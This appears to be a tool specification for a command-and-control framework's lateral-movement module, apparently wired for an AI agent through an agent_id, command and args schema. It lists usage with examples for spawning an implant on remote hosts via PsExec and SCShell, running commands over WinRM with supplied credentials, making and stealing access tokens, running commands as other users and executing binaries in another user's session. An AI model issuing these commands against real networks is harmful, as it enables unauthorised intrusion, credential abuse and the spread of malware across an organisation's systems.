bof_lateral
Perform lateral movement by spawning sessions and executing commands on remote targets via PsExec, WinRM, and token impersonation.
Instructions
LateralMovement: Spawn sessions and execute commands on remote targets.
jump psexec [-b binary_name] [-s share] [-p svc_path] [-n svc_name] [-d svc_desc] Spawn session via PsExec (copy+create service). Example: jump psexec 192.168.0.1 /tmp/agent.exe -n UpdateService
jump scshell [-b binary_name] [-s share] [-p svc_path] [-n svc_name] Spawn session via SCShell (modify existing service). Example: jump scshell 192.168.0.1 /tmp/agent.exe -n defragsvc
invoke winrm [-t timeout_ms] [-b] [-u username] [-p password] Execute command via WinRM. Example: invoke winrm 192.168.0.1 "whoami /all" -u DOMAIN\admin -p P@ss
invoke scshell Execute command via SCShell (fileless). Example: invoke scshell 10.0.2.10 defragsvc "cmd.exe /c \share\agent.exe"
token make Create impersonated token (logon types: 2=Interactive, 3=Network, 8=NetworkCleartext, 9=NewCredentials). Example: token make admin P@ssword domain.local 9
token steal Steal access token from a process. Example: token steal 608
runas-user [-l logon_type] [-t timeout_ms] [-o] [-b] Run command as another user (RunasCs-like). Example: runas-user admin P@ss domain.local "cmd /c whoami" -l 9
runas-session Execute binary in another user's session via COM (IHxHelpPaneServer). Requires admin. Example: runas-session 3 C:\Windows\Temp\file.exe
Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | Yes | ||
| command | Yes | ||
| args | No |
Output Schema
| Name | Required | Description | Default |
|---|---|---|---|
| result | Yes |